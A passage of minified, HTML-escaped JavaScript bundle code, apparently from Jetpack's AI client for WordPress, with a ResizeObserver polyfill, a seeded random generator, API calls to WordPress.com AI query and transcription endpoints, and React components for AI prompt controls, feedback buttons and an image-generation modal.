t}(r),o=n.left+n.right,a=n.top+n.bottom,i=h(r.width),l=h(r.height);if(&quot;border-box&quot;===r.boxSizing&amp;&amp;(Math.round(i+o)!==t&amp;&amp;(i-=m(r,&quot;left&quot;,&quot;right&quot;)+o),Math.round(l+a)!==s&amp;&amp;(l-=m(r,&quot;top&quot;,&quot;bottom&quot;)+a)),!function(e){return e===d(e).document.documentElement}(e)){var c=Math.round(i+o)-t,u=Math.round(l+a)-s;1!==Math.abs(c)&amp;&amp;(i-=c),1!==Math.abs(u)&amp;&amp;(l-=u)}return v(n.left,n.top,i,l)}var f=&quot;undefined&quot;!=typeof SVGGraphicsElement?function(e){return e instanceof d(e).SVGGraphicsElement}:function(e){return e instanceof d(e).SVGElement&amp;&amp;&quot;function&quot;==typeof e.getBBox};function b(e){return n?f(e)?function(e){var t=e.getBBox();return v(0,0,t.width,t.height)}(e):g(e):p}function v(e,t,s,r){return{x:e,y:t,width:s,height:r}}var k=function(){function e(e){this.broadcastWidth=0,this.broadcastHeight=0,this.contentRect_=v(0,0,0,0),this.target=e}return e.prototype.isActive=function(){var e=b(this.target);return this.contentRect_=e,e.width!==this.broadcastWidth||e.height!==this.broadcastHeight},e.prototype.broadcastRect=function(){var e=this.contentRect_;return this.broadcastWidth=e.width,this.broadcastHeight=e.height,e},e}(),y=function(e,t){var s,r,n,o,a,i,l,c=(r=(s=t).x,n=s.y,o=s.width,a=s.height,i=&quot;undefined&quot;!=typeof DOMRectReadOnly?DOMRectReadOnly:Object,l=Object.create(i.prototype),u(l,{x:r,y:n,width:o,height:a,top:n,right:r+o,bottom:a+n,left:r}),l);u(this,{target:e,contentRect:c})},x=function(){function e(e,t,s){if(this.activeObservations_=[],this.observations_=new r,&quot;function&quot;!=typeof e)throw new TypeError(&quot;The callback provided as parameter 1 is not a function.&quot;);this.callback_=e,this.controller_=t,this.callbackCtx_=s}return e.prototype.observe=function(e){if(!arguments.length)throw new TypeError(&quot;1 argument required, but only 0 present.&quot;);if(&quot;undefined&quot;!=typeof Element&amp;&amp;Element instanceof Object){if(!(e instanceof d(e).Element))throw new TypeError(&#039;parameter 1 is not of type &quot;Element&quot;.&#039;);var t=this.observations_;t.has(e)||(t.set(e,new k(e)),this.controller_.addObserver(this),this.controller_.refresh())}},e.prototype.unobserve=function(e){if(!arguments.length)throw new TypeError(&quot;1 argument required, but only 0 present.&quot;);if(&quot;undefined&quot;!=typeof Element&amp;&amp;Element instanceof Object){if(!(e instanceof d(e).Element))throw new TypeError(&#039;parameter 1 is not of type &quot;Element&quot;.&#039;);var t=this.observations_;t.has(e)&amp;&amp;(t.delete(e),t.size||this.controller_.removeObserver(this))}},e.prototype.disconnect=function(){this.clearActive(),this.observations_.clear(),this.controller_.removeObserver(this)},e.prototype.gatherActive=function(){var e=this;this.clearActive(),this.observations_.forEach(function(t){t.isActive()&amp;&amp;e.activeObservations_.push(t)})},e.prototype.broadcastActive=function(){if(this.hasActive()){var e=this.callbackCtx_,t=this.activeObservations_.map(function(e){return new y(e.target,e.broadcastRect())});this.callback_.call(e,t,e),this.clearActive()}},e.prototype.clearActive=function(){this.activeObservations_.splice(0)},e.prototype.hasActive=function(){return this.activeObservations_.length&gt;0},e}(),j=&quot;undefined&quot;!=typeof WeakMap?new WeakMap:new r,w=function e(t){if(!(this instanceof e))throw new TypeError(&quot;Cannot call a class as a function.&quot;);if(!arguments.length)throw new TypeError(&quot;1 argument required, but only 0 present.&quot;);var s=c.getInstance(),r=new x(t,s,this);j.set(this,r)};[&quot;observe&quot;,&quot;unobserve&quot;,&quot;disconnect&quot;].forEach(function(e){w.prototype[e]=function(){var t;return(t=j.get(this))[e].apply(t,arguments)}});const _=void 0!==o.ResizeObserver?o.ResizeObserver:w},11264(e){&quot;use strict&quot;;var t=256,s=[],r=window,n=Math.pow(t,6),o=Math.pow(2,52),a=2*o,i=255,l=Math.random;function c(e){var s,r=e.length,n=this,o=0,a=n.i=n.j=0,l=n.S=[];for(r||(e=[r++]);o&lt;t;)l[o]=o++;for(o=0;o&lt;t;o++)l[o]=l[a=i&amp;a+e[o%r]+(s=l[o])],l[a]=s;(n.g=function(e){for(var s,r=0,o=n.i,a=n.j,l=n.S;e--;)s=l[o=i&amp;o+1],r=r*t+l[i&amp;(l[o]=l[a=i&amp;a+s])+(l[a]=s)];return n.i=o,n.j=a,r})(t)}function u(e,t){var s,r=[],n=(typeof e)[0];if(t&amp;&amp;&quot;o&quot;==n)for(s in e)try{r.push(u(e[s],t-1))}catch(e){}return r.length?r:&quot;s&quot;==n?e:e+&quot;\0&quot;}function d(e,t){for(var s,r=e+&quot;&quot;,n=0;n&lt;r.length;)t[i&amp;n]=i&amp;(s^=19*t[i&amp;n])+r.charCodeAt(n++);return p(t)}function p(e){return String.fromCharCode.apply(0,e)}e.exports=function(i,l){if(l&amp;&amp;!0===l.global)return l.global=!1,Math.random=e.exports(i,l),l.global=!0,Math.random;var h=[],m=(d(u(l&amp;&amp;l.entropy||!1?[i,p(s)]:0 in arguments?i:function(e){try{return r.crypto.getRandomValues(e=new Uint8Array(t)),p(e)}catch(e){return[+new Date,r,r.navigator&amp;&amp;r.navigator.plugins,r.screen,p(s)]}}(),3),h),new c(h));return d(p(m.S),s),function(){for(var e=m.g(6),s=n,r=0;e&lt;o;)e=(e+r)*t,s*=t,r=m.g(1);for(;e&gt;=a;)e/=2,s/=2,r&gt;&gt;&gt;=1;return(e+r)/s}},e.exports.resetGlobal=function(){Math.random=l},d(Math.random(),s)},48931(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(1455),n=s.n(r);const o=&quot;default&quot;in n()?n().default:n()},87286(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(47143),n=s(10067),o=s.n(n),a=s(53664);const i=o()(&quot;jetpack-ai-client:ask-question&quot;);async function l(e,{postId:t=null,fromCache:s=!1,feature:n,functions:o,model:l,languageCode:c}={}){const u=c||(0,r.select)(&quot;core&quot;).getEntityRecord(&quot;root&quot;,&quot;site&quot;)?.language||&quot;en_US&quot;;return i(&quot;Asking question: %o. options: %o&quot;,e,{postId:t,fromCache:s,feature:n,functions:o,model:l,languageCode:u}),new a.A({question:e,options:{postId:t,feature:n,fromCache:s,functions:o,model:l,languageCode:u}})}},31439(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(47143),n=s(10067),o=s.n(n),a=s(51391);const i=o()(&quot;jetpack-ai-client:ask-question-sync&quot;);async function l(e,t={}){t.languageCode=t.languageCode||(0,r.select)(&quot;core&quot;).getEntityRecord(&quot;root&quot;,&quot;site&quot;)?.language||&quot;en_US&quot;,i(&quot;Asking question with no streaming: %o. options: %o&quot;,e,t);let s=null;try{s=(await(0,a.A)()).token}catch(e){return i(&quot;Error getting token: %o&quot;,e),Promise.reject(e)}const n=Array.isArray(e)?{messages:e}:{question:e},{languageCode:o,...l}=t,c={...n,...l,language_code:o,stream:!1},u={Authorization:`Bearer ${s}`,&quot;Content-Type&quot;:&quot;application/json&quot;};try{const e=await fetch(&quot;https://public-api.wordpress.com/wpcom/v2/jetpack-ai-query&quot;,{method:&quot;POST&quot;,headers:u,body:JSON.stringify(c)}).then(e=&gt;e.json());return e?.data?.status&amp;&amp;e?.data?.status&gt;200?(i(&quot;Error generating prompt: %o&quot;,e),Promise.reject(e)):e.choices?.[0]?.message?.content}catch(e){return i(&quot;Error asking question: %o&quot;,e),Promise.reject(e)}}},57745(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(10067),n=s.n(r),o=s(51391);const a=n()(&quot;jetpack-ai-client:audio-transcription&quot;);async function i(e,t,s){a(&quot;Transcribing audio: %o. Feature: %o&quot;,e,t);let r=&quot;&quot;;try{r=(await(0,o.A)()).token}catch(e){return a(&quot;Error getting token: %o&quot;,e),Promise.reject(e)}const n=new FormData;n.append(&quot;audio_file&quot;,e);try{const e={Authorization:`Bearer ${r}`},o=&quot;https://public-api.wordpress.com/wpcom/v2/jetpack-ai-transcription&quot;+(t?`?feature=${t}`:&quot;&quot;);return fetch(o,{method:&quot;POST&quot;,body:n,headers:e,signal:s??void 0}).then(e=&gt;(a(&quot;Transcription response: %o&quot;,e),e.ok?e.json().then(e=&gt;e?.text):e.json().then(e=&gt;Promise.reject(e))))}catch(e){return a(&quot;Transcription error response: %o&quot;,e),Promise.reject(e)}}},70629(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(13022),o=s(6754),a=(s(81443),s(10790));function i({className:e,disabled:t=!1,value:s=&quot;&quot;,placeholder:i=&quot;&quot;,isTransparent:l=!1,state:c=&quot;init&quot;,onChange:u,banner:d=null,error:p=null,actions:h=null,message:m=null,promptUserInputRef:g=null,wrapperRef:f=null}){return(0,a.jsxs)(&quot;div&quot;,{className:(0,n.A)(&quot;jetpack-components-ai-control__container-wrapper&quot;,e),ref:f,children:[p,(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-components-ai-control__container&quot;,children:[d,(0,a.jsxs)(&quot;div&quot;,{className:(0,n.A)(&quot;jetpack-components-ai-control__wrapper&quot;,{&quot;is-transparent&quot;:l}),children:[(0,a.jsx)(o.A,{state:c}),(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-components-ai-control__input-wrapper&quot;,children:(0,a.jsx)(r.PlainText,{value:s,onChange:u,placeholder:i,className:&quot;jetpack-components-ai-control__input&quot;,disabled:t,ref:g})}),h]}),m]})]})}},71417(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;x});var r=s(56427),n=s(29491),o=s(86087),a=s(27723),i=s(13109),l=s(87756),c=s(88901),u=s(65995),d=s(48568),p=s(57839),h=s(10067),m=s.n(h),g=s(51609),f=s(63098),b=s(70629),v=(s(81443),s(10790));const __=a.__,k=m()(&quot;jetpack-ai-client:block-ai-control&quot;);function y({disabled:e=!1,value:t=&quot;&quot;,placeholder:s=&quot;&quot;,showAccept:a=!1,acceptLabel:h=__(&quot;Accept&quot;,&quot;jetpack&quot;),showButtonLabels:m=!0,isTransparent:g=!1,state:y=&quot;init&quot;,showGuideLine:x=!1,customFooter:j=null,onChange:w,onSend:_,onStop:C,onAccept:A,onDiscard:S,showRemove:E=!1,banner:N=null,error:T=null,lastAction:B},P){const I=&quot;requesting&quot;===y||&quot;suggesting&quot;===y,[M,L]=(0,o.useState)(!1),[R,D]=(0,o.useState)(t||null),F=(0,o.useRef)(null);(0,o.useImperativeHandle)(P,()=&gt;F.current),(0,o.useEffect)(()=&gt;{M&amp;&amp;F?.current?.focus()},[M]);const O=(0,o.useCallback)(()=&gt;{D(t),L(!1),_?.(t)},[t]),z=(0,o.useCallback)(e=&gt;{w?.(e),&quot;init&quot;!==y&amp;&amp;L(R?e!==R:e.length&gt;0)},[R,y]),U=(0,o.useCallback)(()=&gt;{S?.()},[]),H=(0,o.useCallback)(()=&gt;{k(&quot;cancelEdit, revert to last value&quot;,R),w?.(R||&quot;&quot;),L(!1)},[R]);(0,n.useKeyboardShortcut)(&quot;mod+enter&quot;,()=&gt;{a&amp;&amp;A?.()},{target:F}),(0,n.useKeyboardShortcut)(&quot;enter&quot;,e=&gt;{e.preventDefault(),O()},{target:F});const q=(0,v.jsxs)(v.Fragment,{children:[(!a||M)&amp;&amp;(0,v.jsx)(&quot;div&quot;,{className:&quot;jetpack-components-ai-control__controls-prompt_button_wrapper&quot;,children:I?(0,v.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,onClick:C,variant:&quot;secondary&quot;,label:__(&quot;Stop request&quot;,&quot;jetpack&quot;),children:m?__(&quot;Stop&quot;,&quot;jetpack&quot;):(0,v.jsx)(i.A,{icon:u.A})}):(0,v.jsxs)(v.Fragment,{children:[M&amp;&amp;(0,v.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,onClick:H,variant:&quot;secondary&quot;,label:__(&quot;Cancel&quot;,&quot;jetpack&quot;),children:m?__(&quot;Cancel&quot;,&quot;jetpack&quot;):(0,v.jsx)(i.A,{icon:u.A})}),E&amp;&amp;!M&amp;&amp;!t?.length&amp;&amp;S&amp;&amp;(0,v.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,onClick:U,variant:&quot;secondary&quot;,label:__(&quot;Cancel&quot;,&quot;jetpack&quot;),children:m?__(&quot;Cancel&quot;,&quot;jetpack&quot;):(0,v.jsx)(i.A,{icon:u.A})}),t?.length&gt;0&amp;&amp;(0,v.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,onClick:O,variant:&quot;primary&quot;,disabled:!t?.length||e,label:__(&quot;Send request&quot;,&quot;jetpack&quot;),children:m?__(&quot;Generate&quot;,&quot;jetpack&quot;):(0,v.jsx)(i.A,{icon:l.A})})]})}),a&amp;&amp;!M&amp;&amp;(0,v.jsxs)(&quot;div&quot;,{className:&quot;jetpack-components-ai-control__controls-prompt_button_wrapper&quot;,children:[(t?.length&gt;0||null===R)&amp;&amp;(0,v.jsxs)(r.Flex,{gap:1,role:&quot;group&quot;,className:&quot;jetpack-components-ai-control__button-group&quot;,children:[(0,v.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,label:__(&quot;Discard&quot;,&quot;jetpack&quot;),onClick:U,tooltipPosition:&quot;top&quot;,children:(0,v.jsx)(i.A,{icon:p.A})}),(0,v.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,label:__(&quot;Regenerate&quot;,&quot;jetpack&quot;),onClick:()=&gt;_?.(t),tooltipPosition:&quot;top&quot;,disabled:!t?.length||null===t||e,children:(0,v.jsx)(i.A,{icon:d.A})})]}),(0,v.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,onClick:A,variant:&quot;primary&quot;,label:h,children:m?h:(0,v.jsx)(i.A,{icon:c.A})})]})]}),V=x&amp;&amp;!I&amp;&amp;!M&amp;&amp;(j||(0,v.jsx)(f.Yj,{aiFeedbackThumbsOptions:{showAIFeedbackThumbs:!0,ratedItem:&quot;ai-assistant&quot;,prompt:B,block:&quot;ai-assistant&quot;}}));return(0,v.jsx)(b.A,{disabled:e||I,value:t,placeholder:s,isTransparent:g,state:y,onChange:z,banner:N,error:T,actions:q,message:V,promptUserInputRef:F})}const x=(0,g.forwardRef)(y)},61(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(56427),n=s(29491),o=s(86087),a=s(27723),i=s(13109),l=s(87756),c=s(65995),u=s(84701),d=s(51609),p=s(63098),h=s(70629),m=(s(81443),s(10790));const __=a.__;function g({className:e,disabled:t=!1,value:s=&quot;&quot;,placeholder:a=&quot;&quot;,showButtonLabels:d=!0,isTransparent:g=!1,state:f=&quot;init&quot;,showGuideLine:b=!1,error:v,requestsRemaining:k,showUpgradeMessage:y=!1,showFairUsageMessage:x=!1,upgradeUrl:j,wrapperRef:w,onChange:_,onSend:C,onStop:A,onClose:S,onUndo:E,onUpgrade:N,onTryAgain:T,lastAction:B,blockType:P},I){const M=&quot;requesting&quot;===f||&quot;suggesting&quot;===f,[L,R]=(0,o.useState)(!1),[D,F]=(0,o.useState)(s||null),O=(0,o.useRef)(null),z=s?.length&lt;=0&amp;&amp;&quot;done&quot;===f;(0,o.useImperativeHandle)(I,()=&gt;O.current),(0,o.useEffect)(()=&gt;{L&amp;&amp;O?.current?.focus()},[L]);const U=(0,o.useCallback)(()=&gt;{F(s),R(!1),C?.(s)},[C,s]),H=(0,o.useCallback)(e=&gt;{_?.(e),&quot;init&quot;!==f&amp;&amp;R(D?e!==D:e.length&gt;0)},[_,D,f]),q=(0,o.useCallback)(()=&gt;{A?.()},[A]),V=(0,o.useCallback)(()=&gt;{S?.()},[S]),$=(0,o.useCallback)(()=&gt;{E?.()},[E]),G=(0,o.useCallback)(e=&gt;{N?.(e)},[N]),W=(0,o.useCallback)(()=&gt;{T?.()},[T]);(0,n.useKeyboardShortcut)(&quot;enter&quot;,e=&gt;{e.preventDefault(),U()},{target:O});const Z=(0,m.jsx)(m.Fragment,{children:M?(0,m.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,onClick:q,variant:&quot;secondary&quot;,label:__(&quot;Stop request&quot;,&quot;jetpack&quot;),children:d?__(&quot;Stop&quot;,&quot;jetpack&quot;):(0,m.jsx)(i.A,{icon:c.A})}):(0,m.jsxs)(m.Fragment,{children:[s?.length&gt;0&amp;&amp;(0,m.jsx)(&quot;div&quot;,{className:&quot;jetpack-components-ai-control__controls-prompt_button_wrapper&quot;,children:(0,m.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,onClick:U,variant:&quot;primary&quot;,disabled:!s?.length||t,label:__(&quot;Send request&quot;,&quot;jetpack&quot;),children:d?__(&quot;Generate&quot;,&quot;jetpack&quot;):(0,m.jsx)(i.A,{icon:l.A})})}),z&amp;&amp;(0,m.jsx)(&quot;div&quot;,{className:&quot;jetpack-components-ai-control__controls-prompt_button_wrapper&quot;,children:(0,m.jsxs)(r.Flex,{gap:1,role:&quot;group&quot;,className:&quot;jetpack-components-ai-control__button-group&quot;,children:[(0,m.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,label:__(&quot;Undo&quot;,&quot;jetpack&quot;),onClick:$,tooltipPosition:&quot;top&quot;,children:(0,m.jsx)(i.A,{icon:u.A})}),(0,m.jsx)(r.Button,{className:&quot;jetpack-components-ai-control__controls-prompt_button&quot;,label:__(&quot;Close&quot;,&quot;jetpack&quot;),onClick:V,variant:&quot;tertiary&quot;,children:__(&quot;Close&quot;,&quot;jetpack&quot;)})]})})]})});let J=null;return v?.message?J=(0,m.jsx)(p.Kw,{error:v.message,code:v.code,onTryAgainClick:W,onUpgradeClick:G,upgradeUrl:j}):x?J=(0,m.jsx)(p.k9,{}):y?J=(0,m.jsx)(p.AK,{requestsRemaining:k,onUpgradeClick:G,upgradeUrl:j}):b&amp;&amp;(J=z?(0,m.jsx)(p.Yj,{aiFeedbackThumbsOptions:{showAIFeedbackThumbs:!0,ratedItem:&quot;ai-assistant&quot;,prompt:B,block:P}}):(0,m.jsx)(p.Yj,{})),(0,m.jsx)(h.A,{className:e,disabled:t||M,value:s,placeholder:a,isTransparent:g,state:f,onChange:H,actions:Z,message:J,promptUserInputRef:O,wrapperRef:w})}const f=(0,d.forwardRef)(g)},42299(e,t,s){&quot;use strict&quot;;s.d(t,{FC:()=&gt;n.A,N0:()=&gt;r.A});s(70629);var r=s(71417),n=s(61)},11497(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(85985),n=s(56427),o=s(86087),a=s(27723),i=s(57577),l=s(44582),c=s(13022),u=(s(81913),s(10790));const __=a.__;function d({disabled:e=!1,iconSize:t=24,ratedItem:s=&quot;&quot;,feature:a=&quot;&quot;,savedRatings:d={},options:p={},onRate:h}){if(!function(e){return!0===(0,r.FB)(e).available}(&quot;ai-response-feedback&quot;))return null;const[m,g]=(0,o.useState)({}),{tracks:f}=(0,r.st)();(0,o.useEffect)(()=&gt;{const e={...d,...m};JSON.stringify(e)!==JSON.stringify(m)&amp;&amp;g(e)},[d]);const b=e=&gt;!!m[s]&amp;&amp;m[s]===e,v=e=&gt;{const t=e?&quot;thumbs-up&quot;:&quot;thumbs-down&quot;;b(t)||(g({...m,[s]:t}),h?.(t),f.recordEvent(&quot;jetpack_ai_feedback&quot;,{type:a,rating:t,media_library_id:p.mediaLibraryId||null,prompt:p.prompt||null,revised_prompt:p.revisedPrompt||null,block:p.block||null}))};return(0,u.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-feedback__selection&quot;,children:[(0,u.jsx)(n.Tooltip,{text:__(&quot;I like this&quot;,&quot;jetpack&quot;),children:(0,u.jsx)(n.Button,{disabled:e,icon:l.A,onClick:()=&gt;v(!0),iconSize:t,showTooltip:!1,className:(0,c.A)({&quot;ai-assistant-feedback__thumb-selected&quot;:b(&quot;thumbs-up&quot;)})})}),(0,u.jsx)(n.Tooltip,{text:__(&quot;I don&#039;t find this useful&quot;,&quot;jetpack&quot;),children:(0,u.jsx)(n.Button,{disabled:e,icon:i.A,onClick:()=&gt;v(!1),iconSize:t,showTooltip:!1,className:(0,c.A)({&quot;ai-assistant-feedback__thumb-selected&quot;:b(&quot;thumbs-down&quot;)})})})]})}},23059(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l,R:()=&gt;i});var r=s(56427),n=s(13109),o=s(5573),a=s(10790);const i=(0,a.jsxs)(r.SVG,{width:&quot;42&quot;,height:&quot;42&quot;,viewBox:&quot;0 0 42 42&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,a.jsxs)(r.G,{clipPath:&quot;url(#clip0_4479_1006)&quot;,children:[(0,a.jsx)(r.Path,{d:&quot;M7.87488 0L10.1022 5.64753L15.7498 7.87488L10.1022 10.1022L7.87488 15.7498L5.64753 10.1022L0 7.87488L5.64753 5.64753L7.87488 0Z&quot;,fill:&quot;#A7AAAD&quot;}),(0,a.jsx)(r.Path,{d:&quot;M31.4998 0L34.4696 7.53004L41.9997 10.4998L34.4696 13.4696L31.4998 20.9997L28.53 13.4696L21 10.4998L28.53 7.53004L31.4998 0Z&quot;,fill:&quot;#A7AAAD&quot;}),(0,a.jsx)(r.Path,{d:&quot;M18.3748 15.7496L22.0871 25.1621L31.4996 28.8744L22.0871 32.5866L18.3748 41.9992L14.6625 32.5866L5.25 28.8744L14.6625 25.1621L18.3748 15.7496Z&quot;,fill:&quot;#A7AAAD&quot;})]}),(0,a.jsx)(o.Defs,{children:(0,a.jsx)(&quot;clipPath&quot;,{id:&quot;clip0_4479_1006&quot;,children:(0,a.jsx)(r.Rect,{width:&quot;41.9997&quot;,height:&quot;41.9992&quot;,fill:&quot;white&quot;})})})]});function l({className:e,size:t=42}){return(0,a.jsx)(n.A,{icon:i,width:t,height:t,className:e})}},96390(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(85985),n=s(56427),o=s(86087),a=s(27723),i=s(10067),l=s.n(i),c=s(66223),u=s(23101),d=s(46381),p=s(14016),h=s(57853),m=s(77990),g=s(47560),f=(s(10169),s(10790));const __=a.__,b=l()(&quot;jetpack-ai-client:ai-image-modal&quot;);function v({title:e,cost:t,open:s,images:a,currentIndex:i=0,onClose:l=null,onTryAgain:v=null,onGenerate:k=null,generating:y=!1,notEnoughRequests:x=!1,requireUpgrade:j=!1,currentLimit:w=null,currentUsage:_=null,isUnlimited:C=!1,upgradeDescription:A=null,hasError:S=!1,handlePreviousImage:E=()=&gt;{},handleNextImage:N=()=&gt;{},acceptButton:T=null,autoStart:B=!1,autoStartAction:P=null,instructionsPlaceholder:I=null,imageStyles:M=[],onGuessStyle:L=null,prompt:R=&quot;&quot;,setPrompt:D=()=&gt;{},initialStyle:F=null,inputDisabled:O=!1,actionDisabled:z=!1}){const{tracks:U}=(0,r.st)(),{recordEvent:H}=U,q=(0,o.useRef)(!1),[V,$]=(0,o.useState)(!1),[G,W]=(0,o.useState)(null),[Z,J]=(0,o.useState)(M||[]),K=(0,o.useCallback)(()=&gt;{v?.({userPrompt:R,style:G})},[v,R,G]),Y=(0,o.useCallback)(async()=&gt;{if(G===c.Wp&amp;&amp;L){H(&quot;jetpack_ai_general_image_guess_style&quot;,{context:&quot;block-editor&quot;,tool:&quot;image&quot;});const e=await L(R)||c.Hu;W(e),b(&quot;guessed style&quot;,e),k?.({userPrompt:R,style:e})}else k?.({userPrompt:R,style:G})},[k,R,G,L,H]),Q=(0,o.useCallback)(e=&gt;{b(&quot;change style&quot;,e),W(e),H(&quot;jetpack_ai_image_generator_switch_style&quot;,{context:&quot;block-editor&quot;,style:e})},[W,H]),X=(j||x)&amp;&amp;!y,ee=Boolean(!C&amp;&amp;t&amp;&amp;w),te=__(&quot;Generate&quot;,&quot;jetpack&quot;),se=__(&quot;Try again&quot;,&quot;jetpack&quot;);return(0,o.useEffect)(()=&gt;{B&amp;&amp;s&amp;&amp;(q.current||(q.current=!0,P?.({})))},[B,P,s]),(0,o.useEffect)(()=&gt;{M&amp;&amp;M.length&gt;0&amp;&amp;(J([M.find(({value:e})=&gt;e===c.Hu),M.find(({value:e})=&gt;e===c.Wp),...M.filter(({value:e})=&gt;![c.Hu,c.Wp].includes(e))].filter(e=&gt;e)),$(!0),W(F||c.Hu))},[M,F]),(0,f.jsx)(f.Fragment,{children:s&amp;&amp;(0,f.jsxs)(p.A,{handleClose:l,title:e,children:[(0,f.jsxs)(&quot;div&quot;,{className:&quot;ai-image-modal__content&quot;,children:[V&amp;&amp;(0,f.jsxs)(&quot;div&quot;,{style:{display:&quot;flex&quot;,alignItems:&quot;center&quot;,gap:16},children:[(0,f.jsx)(&quot;div&quot;,{style:{fontWeight:500,flexGrow:1},children:__(&quot;Generate image&quot;,&quot;jetpack&quot;)}),(0,f.jsx)(&quot;div&quot;,{children:(0,f.jsx)(n.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:G,options:Z,onChange:Q})})]}),(0,f.jsx)(u.K,{prompt:R,setPrompt:D,disabled:O,actionDisabled:z,generateHandler:S?K:Y,placeholder:I,buttonLabel:S?se:te}),X&amp;&amp;(0,f.jsx)(h.A,{description:A,placement:&quot;ai-image-generator&quot;,useLightNudge:!0}),(0,f.jsx)(&quot;div&quot;,{className:&quot;ai-image-modal__actions&quot;,children:(0,f.jsx)(&quot;div&quot;,{className:&quot;ai-image-modal__actions-left&quot;,children:ee&amp;&amp;(0,f.jsx)(g.A,{cost:t,currentLimit:w,currentUsage:_})})}),(0,f.jsx)(&quot;div&quot;,{className:&quot;ai-image-modal__image-canvas&quot;,children:(0,f.jsx)(m.A,{images:a,current:i,handlePreviousImage:E,handleNextImage:N,actions:T})})]}),(0,f.jsx)(&quot;div&quot;,{className:&quot;ai-image-modal__footer&quot;,children:(0,f.jsx)(d.A,{})})]})})}},77990(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(56427),n=s(86087),o=s(27723),a=s(13109),i=s(39558),l=s(48329),c=s(13022),u=s(11497),d=s(23059),p=(s(79209),s(10790));const __=o.__;function h({children:e,isDotted:t=!1,contentClassName:s=&quot;&quot;}){const r=(0,p.jsx)(&quot;img&quot;,{className:&quot;ai-assistant-image__carrousel-image&quot;,src:&quot;data:image/svg+xml,&lt;svg viewBox=&#039;0 0 1 1&#039; width=&#039;1024&#039; height=&#039;768&#039; xmlns=&#039;http://www.w3.org/2000/svg&#039;&gt;&lt;path d=&#039;M0 0 L1 0 L1 1 L0 1 L0 0 Z&#039; fill=&#039;none&#039; /&gt;&lt;/svg&gt;&quot;,alt:&quot;&quot;});return(0,p.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-image__blank&quot;,children:[r,(0,p.jsx)(&quot;div&quot;,{className:(0,c.A)(&quot;ai-assistant-image__blank-content&quot;,s,{&quot;is-dotted&quot;:t}),children:e})]})}function m({images:e,current:t,handlePreviousImage:s,handleNextImage:o,actions:m=null}){const[g,f]=(0,n.useState)(!1),b=(0,p.jsx)(&quot;button&quot;,{className:&quot;ai-carrousel__prev&quot;,onClick:s,children:(0,p.jsx)(a.A,{icon:i.A,className:(0,c.A)(&quot;ai-carrousel__prev-icon&quot;,{&quot;is-disabled&quot;:0===t})})}),v=(0,p.jsx)(&quot;button&quot;,{className:&quot;ai-carrousel__next&quot;,onClick:o,children:(0,p.jsx)(a.A,{icon:l.A,className:(0,c.A)(&quot;ai-carrousel__next-icon&quot;,{&quot;is-disabled&quot;:t+1===e.length})})}),k=e?.filter?.(e=&gt;e?.generating||Object.hasOwn(e,&quot;image&quot;)||Object.hasOwn(e,&quot;libraryId&quot;))?.length,y=0===t&amp;&amp;0===k?0:t+1;return(0,n.useEffect)(()=&gt;{const s=e[t];s||f(!0);const{image:r,generating:n,error:o}=s||{};return r||n||o?n||o?f(!0):void f(!1):f(!0)},[t,e]),(0,p.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-image__carrousel&quot;,children:[(0,p.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-image__carrousel-images&quot;,children:[e.length&gt;1&amp;&amp;b,e.map(({image:e,generating:s,error:n,revisedPrompt:o,libraryUrl:a},i)=&gt;(0,p.jsx)(&quot;div&quot;,{className:(0,c.A)(&quot;ai-assistant-image__carrousel-image-container&quot;,{&quot;is-current&quot;:t===i,&quot;is-prev&quot;:t&gt;i}),children:s?(0,p.jsxs)(h,{contentClassName:&quot;ai-assistant-image__loading&quot;,children:[__(&quot;Creating image…&quot;,&quot;jetpack&quot;),(0,p.jsx)(r.Spinner,{style:{width:&quot;50px&quot;,height:&quot;50px&quot;}})]}):(0,p.jsx)(p.Fragment,{children:n?(0,p.jsx)(h,{isDotted:!0,children:(0,p.jsxs)(&quot;div&quot;,{className:&quot;ai-assistant-image__error&quot;,children:[__(&quot;An error occurred while generating the image. Please, try 